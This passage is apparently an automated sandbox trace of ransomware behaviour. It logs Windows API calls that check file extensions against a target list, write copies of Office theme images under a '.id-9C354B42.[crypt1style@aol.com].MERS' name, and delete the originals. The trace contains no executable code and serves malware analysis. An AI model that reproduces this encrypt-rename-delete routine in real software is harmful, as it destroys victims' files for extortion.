lpString2=".PNG") returned -1 [0050.283] lstrlenW (lpString=".xls") returned 4 [0050.283] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.283] lstrlenW (lpString=".xlsx") returned 5 [0050.283] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.283] lstrlenW (lpString=".ppt") returned 4 [0050.283] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.283] lstrlenW (lpString=".zip") returned 4 [0050.283] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.283] lstrlenW (lpString=".rar") returned 4 [0050.283] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.283] lstrlenW (lpString=".bz2") returned 4 [0050.283] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.283] lstrlenW (lpString=".7z") returned 3 [0050.283] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.284] lstrlenW (lpString=".dbf") returned 4 [0050.284] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.284] lstrlenW (lpString=".1cd") returned 4 [0050.284] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.284] lstrlenW (lpString=".jpg") returned 4 [0050.284] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.284] lstrlenW (lpString=".doc") returned 4 [0050.284] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.284] lstrlenW (lpString=".docx") returned 5 [0050.284] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.284] lstrlenW (lpString=".pdf") returned 4 [0050.284] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.284] lstrlenW (lpString=".xls") returned 4 [0050.284] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.284] lstrlenW (lpString=".xlsx") returned 5 [0050.284] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.284] lstrlenW (lpString=".ppt") returned 4 [0050.284] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.284] lstrlenW (lpString=".zip") returned 4 [0050.284] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.284] lstrlenW (lpString=".rar") returned 4 [0050.284] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.284] lstrlenW (lpString=".bz2") returned 4 [0050.284] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.284] lstrlenW (lpString=".7z") returned 3 [0050.284] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.284] lstrlenW (lpString=".dbf") returned 4 [0050.284] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.284] lstrlenW (lpString=".1cd") returned 4 [0050.284] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.285] lstrlenW (lpString=".jpg") returned 4 [0050.285] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.285] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0050.285] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.285] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3611) returned 1 [0050.285] CloseHandle (hObject=0x17c) returned 1 [0050.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0050.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.285] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.285] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.507] GetLastError () returned 0x0 [0050.507] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xe1b, lpOverlapped=0x0) returned 1 [0050.595] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0050.596] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.596] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.596] SetEndOfFile (hFile=0x1e4) returned 1 [0050.597] CloseHandle (hObject=0x1e4) returned 1 [0050.597] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.598] SetEndOfFile (hFile=0x17c) returned 1 [0050.598] CloseHandle (hObject=0x17c) returned 1 [0050.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.599] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0050.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.599] lstrlenW (lpString=".doc") returned 4 [0050.600] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.600] lstrlenW (lpString=".docx") returned 5 [0050.600] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.600] lstrlenW (lpString=".pdf") returned 4 [0050.600] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.600] lstrlenW (lpString=".xls") returned 4 [0050.600] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.600] lstrlenW (lpString=".xlsx") returned 5 [0050.600] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.600] lstrlenW (lpString=".ppt") returned 4 [0050.600] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.600] lstrlenW (lpString=".zip") returned 4 [0050.600] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.600] lstrlenW (lpString=".rar") returned 4 [0050.600] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.600] lstrlenW (lpString=".bz2") returned 4 [0050.600] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.600] lstrlenW (lpString=".7z") returned 3 [0050.600] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.600] lstrlenW (lpString=".dbf") returned 4 [0050.600] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.600] lstrlenW (lpString=".1cd") returned 4 [0050.601] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.601] lstrlenW (lpString=".jpg") returned 4 [0050.601] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.601] lstrlenW (lpString=".doc") returned 4 [0050.601] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.601] lstrlenW (lpString=".docx") returned 5 [0050.601] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.601] lstrlenW (lpString=".pdf") returned 4 [0050.601] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.601] lstrlenW (lpString=".xls") returned 4 [0050.601] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.601] lstrlenW (lpString=".xlsx") returned 5 [0050.601] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.601] lstrlenW (lpString=".ppt") returned 4 [0050.601] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.601] lstrlenW (lpString=".zip") returned 4 [0050.601] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.601] lstrlenW (lpString=".rar") returned 4 [0050.601] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.601] lstrlenW (lpString=".bz2") returned 4 [0050.601] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.601] lstrlenW (lpString=".7z") returned 3 [0050.601] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.602] lstrlenW (lpString=".dbf") returned 4 [0050.602] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.602] lstrlenW (lpString=".1cd") returned 4 [0050.602] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0050.602] lstrlenW (lpString=".jpg") returned 4 [0050.602] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.602] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0050.602] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.603] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=27177) returned 1 [0050.603] CloseHandle (hObject=0x17c) returned 1 [0050.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0050.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.603] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.603] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.604] GetLastError () returned 0x0 [0050.604] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x6a29, lpOverlapped=0x0) returned 1 [0050.833] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0050.834] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.835] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.835] SetEndOfFile (hFile=0x1e4) returned 1 [0050.835] CloseHandle (hObject=0x1e4) returned 1 [0050.835] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.835] SetEndOfFile (hFile=0x17c) returned 1 [0050.836] CloseHandle (hObject=0x17c) returned 1 [0050.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.836] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0050.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.836] lstrlenW (lpString=".doc") returned 4 [0050.836] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.836] lstrlenW (lpString=".docx") returned 5 [0050.836] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.836] lstrlenW (lpString=".pdf") returned 4 [0050.836] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.837] lstrlenW (lpString=".xls") returned 4 [0050.837] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.837] lstrlenW (lpString=".xlsx") returned 5 [0050.837] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.837] lstrlenW (lpString=".ppt") returned 4 [0050.837] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.837] lstrlenW (lpString=".zip") returned 4 [0050.837] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.837] lstrlenW (lpString=".rar") returned 4 [0050.837] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.837] lstrlenW (lpString=".bz2") returned 4 [0050.837] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.837] lstrlenW (lpString=".7z") returned 3 [0050.837] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.837] lstrlenW (lpString=".dbf") returned 4 [0050.837] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.837] lstrlenW (lpString=".1cd") returned 4 [0050.837] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.837] lstrlenW (lpString=".jpg") returned 4 [0050.837] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.837] lstrlenW (lpString=".doc") returned 4 [0050.837] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.837] lstrlenW (lpString=".docx") returned 5 [0050.837] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.837] lstrlenW (lpString=".pdf") returned 4 [0050.837] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.837] lstrlenW (lpString=".xls") returned 4 [0050.837] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.837] lstrlenW (lpString=".xlsx") returned 5 [0050.837] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.838] lstrlenW (lpString=".ppt") returned 4 [0050.838] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.838] lstrlenW (lpString=".zip") returned 4 [0050.838] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.838] lstrlenW (lpString=".rar") returned 4 [0050.838] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.838] lstrlenW (lpString=".bz2") returned 4 [0050.838] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.838] lstrlenW (lpString=".7z") returned 3 [0050.838] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.838] lstrlenW (lpString=".dbf") returned 4 [0050.838] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.838] lstrlenW (lpString=".1cd") returned 4 [0050.838] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0050.838] lstrlenW (lpString=".jpg") returned 4 [0050.838] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.838] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0050.838] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0050.926] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=18380) returned 1 [0050.926] CloseHandle (hObject=0x220) returned 1 [0050.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0050.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0050.926] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.926] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0050.926] GetLastError () returned 0x0 [0050.926] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x47cc, lpOverlapped=0x0) returned 1 [0050.940] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0050.942] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.942] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.943] SetEndOfFile (hFile=0x1d4) returned 1 [0050.943] CloseHandle (hObject=0x1d4) returned 1 [0050.943] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.943] SetEndOfFile (hFile=0x220) returned 1 [0050.944] CloseHandle (hObject=0x220) returned 1 [0050.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.944] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0050.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.944] lstrlenW (lpString=".doc") returned 4 [0050.944] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.945] lstrlenW (lpString=".docx") returned 5 [0050.945] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.945] lstrlenW (lpString=".pdf") returned 4 [0050.945] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.945] lstrlenW (lpString=".xls") returned 4 